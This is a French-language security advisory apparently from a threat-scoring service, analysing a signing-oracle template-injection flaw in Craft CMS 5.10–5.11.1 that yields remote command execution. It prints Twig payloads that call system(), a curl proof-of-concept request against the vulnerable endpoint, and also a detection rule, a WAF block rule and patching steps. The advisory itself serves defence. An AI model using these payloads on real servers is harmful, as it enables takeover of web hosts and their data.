Aller au contenu

CVE-2026-124430 : exécution de code à distance par Oracle de signature dans craft CMS

Densité :
Synthèse Décisionnelle C-Level CVE-2026-124430 CRITICAL SCORE 88/100

Une vulnérabilité critique (CVE-2026-124430) présente dans les versions 5.10.0 à 5.11.1 du système de gestion de contenu d'entreprise Craft CMS permet à un utilisateur authentifié disposant de faibles privilèges d'exécuter des commandes système arbitraires sur le serveur hôte. Un défaut structurel dans le point de terminaison 'app/render-elements' permet aux utilisateurs de soumettre des configurations de composants graphiques (Cp::elementChipHtml()) qui sont signées par la clé secrète HMAC de l'application. En détournant cette fonction comme oracle de signature cryptographique, l'attaquant génère une signature valide pour n'importe quelle chaîne de modèle Twig. L'injection de ce jeton signé dans les paramètres de redirection contourne les contrôles d'intégrité et déclenche l'évaluation non cloisonnée du code via renderObjectTemplate(), ouvrant un accès direct aux fonctions d'exécution PHP (exec, system, passthru). VulnCheck a publié une notice d'armement le 9 novembre 2026. Hermes évalue ce risque à HTS 88 (CRITIQUE) et HASS 68 (ÉLEVÉ).

HERMES

HERMES THREAT SCORE & INTÉGRITÉ DES CMS WEB D'ENTREPRISE

Cible : Contrôleurs Craft CMS et moteur de modèles d'objets Twig
Confiance : 98%
88 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 18 / 20
Activité de menace 17 / 20
Militarisation 19 / 20
Exposition 17 / 20
Prévalence 18 / 20
Impact 19 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 18 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 attribue un niveau de sévérité de 8.8 (Élevé) en raison de l'authentification préalable requise (PR:L). Hermes réévalue cette menace à HTS 88 (CRITIQUE). Dans les organisations, des comptes de rédacteurs ou de contributeurs sont régulièrement compromis via du bourrage d'identifiants ou du hameçonnage. Une fois connecté au panneau d'administration, cet oracle de signature offre une chaîne d'exploitation fiable transformant un accès restreint en compromission totale du serveur applicatif et de la base de données.


Craft CMS est un système de gestion de contenu modulaire et headless bâti sur PHP et le framework Yii. Il est largement utilisé par les entreprises et les institutions financières pour administrer des portails d’information, des plateformes de commerce électronique et des architectures multi-sites. Son moteur de rendu s’appuie sur le système de modèles Twig.

Découverte en novembre 2026, la vulnérabilité CVE-2026-124430 combine un oracle de signature cryptographique et une injection de modèles côté serveur (SSTI) dans Craft CMS 5.10.x. En sollicitant l’action interne app/render-elements, un compte disposant de droits minimes peut amener le serveur à signer cryptographiquement une charge utile Twig arbitraire à l’aide de sa clé secrète HMAC. Le jeton obtenu peut ensuite être transmis à des gestionnaires de redirection qui exécutent le modèle sans restriction de bac à sable, conférant un accès direct aux commandes système sous l’identité du serveur Web (www-data). Le 9 novembre 2026, la société de renseignement VulnCheck a confirmé l’armement de cette chaîne d’attaque.


2. Analyse de la cause racine & mécanique technique (CWE-1336 / CWE-347)

Section intitulée « 2. Analyse de la cause racine & mécanique technique (CWE-1336 / CWE-347) »

La vulnérabilité découle de l’interaction entre le rendu dynamique des pastilles d’éléments dans le panneau de contrôle et le mécanisme de signature des paramètres (craftcms\base\Security::hashData()).

Dans Craft CMS 5.10.x, l’action actionRenderElements() a été intégrée pour composer à la volée le balisage HTML représentant les éléments de contenu :

// Extrait de src/controllers/AppController.php
public function actionRenderElements(): Response
{
$this->requireCpRequest();
$elementConfigs = $this->request->getRequiredBodyParam('elements');
$html = [];
foreach ($elementConfigs as $config) {
// La configuration fournie par l'utilisateur est transmise à la génération du composant :
$html[] = Cp::elementChipHtml($config);
}
return $this->asJson(['html' => $html]);
}

Dans src/helpers/Cp.php, la méthode elementChipHtml() sérialise les métadonnées du composant et applique un condensat HMAC-SHA256 utilisant la clé secrète de l’application pour empêcher toute falsification lors des requêtes AJAX ultérieures :

// Extrait de src/helpers/Cp.php
$signedData = Craft::$app->getSecurity()->hashData(serialize($chipConfig));

Puisqu’un utilisateur du panneau d’administration peut injecter des structures de données arbitraires dans la variable elements, il contrôle le texte clair à signer et récupère le jeton cryptographique généré directement dans la réponse JSON, transformant l’API en un oracle de signature à texte clair choisi.

Craft CMS se prémunit traditionnellement contre les injections de modèles en vérifiant la signature HMAC avant de confier une chaîne dynamique à la méthode renderObjectTemplate(). L’attaquant tire profit du jeton obtenu auprès de l’oracle pour injecter sa charge utile (ex. {{['id']|map('system')}} ou {{['whoami']|filter('system')}}) :

  1. Craft appelle Craft::$app->getSecurity()->validateData($signedPayload).
  2. La signature ayant été produite par le serveur lui-même, la validation réussit.
  3. Le texte est alors transmis sans assainissement à Craft::$app->getView()->renderObjectTemplate($template, $object).
  4. Twig interprète le modèle en dehors du bac à sable, résout les fonctions PHP du système et exécute les commandes demandées sous l’utilisateur du processus Web (www-data).

3. Vecteurs d’attaque & cinématique de compromission

Section intitulée « 3. Vecteurs d’attaque & cinématique de compromission »
sequenceDiagram
autonumber
actor Attaquant as Utilisateur authentifié (droits faibles)
participant AppController as AppController (app/render-elements)
participant Security as Security::hashData() [HMAC-SHA256]
participant View as View::renderObjectTemplate()
participant Systeme as Système hôte / Processus PHP
Attaquant->>AppController: POST /actions/app/render-elements<br/>Données: {"elements": [{"template": "{{['id']|map('system')}}"}]}
AppController->>Security: hashData(payload_serialise, CLE_SECRETE)
Security-->>AppController: Jeton HMAC signé valide
AppController-->>Attaquant: Réponse JSON contenant le jeton signé
Attaquant->>AppController: GET /admin/dashboard?returnUrl=<jeton_signe>
AppController->>Security: validateData(jeton_signe) -> VALIDE !
AppController->>View: renderObjectTemplate(charge_utile)
View->>Systeme: Appel de la fonction PHP system("id")
Systeme-->>Attaquant: Sortie de la commande: uid=33(www-data) gid=33(www-data)
  1. Interrogation de l’Oracle de signature :
    Fenêtre de terminal
    curl -s -X POST "https://cms.cible.fr/actions/app/render-elements" \
    -H "Cookie: CRAFT_CSRF_TOKEN=...; CraftSessionId=..." \
    -H "Content-Type: application/json" \
    -d '{"elements": [{"chipHtml": "{{[\"whoami\"]|map(\"system\")}}"}]}'
  2. Extraction du jeton signé : l’attaquant extrait la valeur encodée en base64 retournée dans le corps JSON.
  3. Déclenchement de l’exécution de code : le jeton est transmis à une action acceptant des modèles d’affichage signés, déclenchant l’exécution immédiate de la commande et retournant son résultat.

4. Triage forensique & ingénierie de la détection

Section intitulée « 4. Triage forensique & ingénierie de la détection »
title: Tentative d'injection de modèles via oracle de signature Craft CMS
id: 3d9178bf-5012-4219-9014-871239581024
status: experimental
description: Détecte les requêtes HTTP ciblant l'action app/render-elements de Craft CMS comportant des syntaxes de modèles Twig ou des redirections suspectes.
author: Équipe Hermes Codex Cyberdéfense
date: 2026-11-10
references:
- https://vulncheck.com/advisories/craft-cms-5.10.0-before-5.11.2-rce-via-app-render-elements-signing-oracle
- https://nvd.nist.gov/vuln/detail/CVE-2026-124430
logsource:
category: webserver
detection:
selection_oracle:
cs-method: 'POST'
cs-uri-stem|contains: '/actions/app/render-elements'
c-body|contains:
- '{{'
- '{%'
- '|map('
- '|filter('
- 'system'
- 'exec'
- 'passthru'
condition: selection_oracle
fields:
- c-ip
- cs-username
- cs-method
- cs-uri-stem
falsepositives:
- Développeurs de modules personnalisés testant des composants graphiques dans des environnements de pré-production.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.006

  1. Mise à niveau immédiate vers craft CMS 5.11.2 OU supérieur : installer la mise à jour officielle sans délai. Cette version réécrit actionRenderElements(), interdit l’inclusion de modèles non vérifiés dans la chaîne de signature et renforce l’isolation de Twig.

    Fenêtre de terminal
    composer require craftcms/cms:5.11.2 --update-with-dependencies
    ./craft migrate/all
  2. Règle de blocage temporaire sur le pare-feu applicatif (WAF) : si la mise à niveau immédiate ne peut être réalisée, bloquer les requêtes POST contenant des délimiteurs Twig ({{, {%) ciblant le point d’accès /actions/app/render-elements :

    # Directive de filtrage Nginx
    location ~* /actions/app/render-elements {
    if ($request_body ~* "(\{\{|\{%|\|map|\|filter)") {
    return 403;
    }
    try_files $uri $uri/ /index.php?$query_string;
    }
  3. Renouvellement de la clé secrète d’application : en cas de suspicion de compromission, régénérer immédiatement la variable CRAFT_SECURITY_KEY dans le fichier .env afin d’invalider tous les jetons signés antérieurement :

    Fenêtre de terminal
    ./craft setup/security-key
  4. Désactivation des fonctions PHP à risque : durcir la configuration php.ini de PHP-FPM en interdisant l’appel des fonctions de lancement de sous-processus :

    disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source